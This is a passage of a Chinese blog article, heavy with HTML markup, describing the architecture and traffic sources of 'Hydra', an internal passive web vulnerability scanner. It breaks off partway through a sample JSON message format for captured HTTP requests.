normal;"/><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="color: rgb(255, 169, 0);">0x01.架构设计</span></h3><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">整个项目分为 6个模块，分别为流量消息网关、流量解析、扫描模块、日志模块、漏洞管理，资产收集，系统架构如下图：</section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5657407407407408" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4710fc0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgd9u3NuUickXicibTdhVTx9uibsuAkg4x3xPrTVibJB06EkaBIRd4qY8LM9lQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">如上图，从交换机获取到的流量会经过流量解析引擎，然后发送到消息队列等待扫描引擎的消费；其它来源的流量则经由消息网关转发到消息队列。扫描引擎从消息队列取到消息后先进行去静态，去重去脏后，再封装成任务对象，调用各插件进行扫描，扫描完成后若发现漏洞则持久化到 MySQL 数据库，漏洞数据库与漏洞管理系统对接，方便跟踪处理漏洞，形成漏洞管理闭环，同时扫描日志发送到ELK日志中心，方便后期排查。资产中心则是记录全行所有的主机，接口等信息，为资产元数据的建设提供数据。</section><hr style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1.5rem;border-style: dashed none none;border-top-color: rgb(165, 165, 165);border-right-width: initial;border-right-color: initial;border-left-width: initial;border-left-color: initial;border-bottom-width: initial;border-bottom-color: initial;height: 1px;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;"/><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="color: rgb(255, 169, 0);">0x02.数据源</span></h3><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;"><code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Hydra</span></code>的待扫描数据主要有以下几大来源：</section><ul style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;margin-top: 6px !important;list-style-type: square !important;" class="list-paddingleft-2"><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">测试区核心交换机</span></span></section></li><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">自动化测试平台（接口自动化测试平台）</span></span></section></li><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"><code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">Hydra</span></code>插件　</span></span></section></li><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">代理服务器</span></span></section></li></ul><ol style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;" class="list-paddingleft-2"><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">从交换机接过来的流量为全协议的流量，需要先将三层协议的流量解析到七层，这里我们使用的是Zeek , <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">Zeek</span></code>是一个开源的网络流量分析工具，支持解析多种协议（包括DNS，FTP，HTTP，IRC，SMTP，SSH，SSL等）。详细介绍可参考官网文档Zeek Doc; (<span style="box-sizing: border-box;">也可围观团队另外一位小伙伴写的Zeek食用指南《流量分析的瑞士军刀Zeek》，文章记录我们使用Zeek中一些经验与踩过的坑。</span>) <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">Zeek</span></code> 解析流量后生成http.log 日志文件，然后使用 Filebeat读取 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">Zeek</span></code>日志并发送到Logstash，使用 LogStash 初步过滤一些静态文件，例如img、png、docx 等。然后再组装成约定的 json格式发送到 Kafka;</span></span></section></li><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"><code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">Hydra</span></code>第二大流量来源是自动化接口测试平台，其产生的测试流量经由消息网关传送到 Kafka;</span></span></section></li><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">针对其它场景，我们开发 chrome插件和 Burp插件，插件支持一些简单的文件，域名过滤。</span></span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"></span></span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"></span></span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;color: rgb(77, 168, 238);"><em><span style="color: rgb(77, 168, 238);box-sizing: border-box;line-height: 22px;font-size: 12px;">Burp插件：</span></em></span></section><section style="font-family: Optima-Regular, PingFangTC-light;text-align: center;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"></span></span><img class="rich_pages js_insertlocalimg" data-ratio="0.56875" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 457px;height: 260px;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d79a0900&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgdoYA2ibhLNMo0PFQaW3BfExd94G9icQCeINWhZO2xKNHhdCCkzZPpjHtg%2F640%3Fwx_fmt%3Djpeg"/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;color: rgb(77, 168, 238);"><em><span style="font-size: 12px;box-sizing: border-box;line-height: 22px;">Chrome插件：</span></em></span><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"></span></section><section style="box-sizing: border-box;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;font-family: Optima-Regular, PingFangTC-light;text-align: center;"><img class="rich_pages js_insertlocalimg" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgdPjzr518zEJ1hKMMj8iauSulIDhJreQVjbfB66f6kav1OsDzibHscGNmg/640?wx_fmt=png" data-cropx1="0" data-cropx2="939.81718464351" data-cropy1="9.872029250457038" data-cropy2="639.707495429616" data-ratio="0.670926517571885" data-s="300,640" style="width: 476px;height: 319px;" data-type="jpeg" data-w="939" src="https://wechat2rss.xlab.app/img-proxy/?k=628765d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgdXhPiaVxjibnVqaPOlqe9EeJwjic2Fo7KWpJ7g4OnYicmmW3TnWnDWGuDdQ%2F640%3Fwx_fmt%3Djpeg"/></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;color: rgb(77, 168, 238);"></span></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">Burp插件主要是针对一些chrome插件不能使用场景的一个补充，如部分业务系统只能运行在IE浏览器中、app等，但这个插件对一般的功能测试人员门槛有点高。此插件也可作为内部安全同事测试时的一个补充。</span></section></li><li style="box-sizing: border-box;margin-top: 6px !important;"><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">代理服务器基于 MITMProxy 开发，客户端需要安装服务器证书以解密流量。</span></section></li></ol><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">为了方便数据处理，所有传入到消息队列的数据需要约定统一格式，我们约定如下简要格式，其中 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">t</span></code>为消息产生时间缀。对于post body数据，因为可能为流数据，所以我们简单的进行了base64编码后传送。</section><pre style="padding-top: 8px;padding-bottom: 6px;box-sizing: border-box;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;width: 575.422px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;box-sizing: border-box;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;url&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;<a href="http://testasp.vulnweb.com/showthread.asp?id=0" target="_blank">http://testasp.vulnweb.com/showthread.asp?id=0</a>&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;headers&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Host&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;testasp.vulnweb.com&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Connection&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;keep-alive&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Cache-Control&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;max-age=0&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;DNT&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;1&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Upgrade-Insecure-Requests&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;1&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;User-Agent&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Accept&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Accept-Encoding&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;gzip, deflate&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Accept-Language&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;zh-CN,zh;q=0.9&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Cookie&#34;</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ASPSESSIONIDQQBRQABB=FDKAKDNCHPAKFGGIMLNLFBLB&#34;</span></code></span></span></p><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;box-sizing: border-box;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: 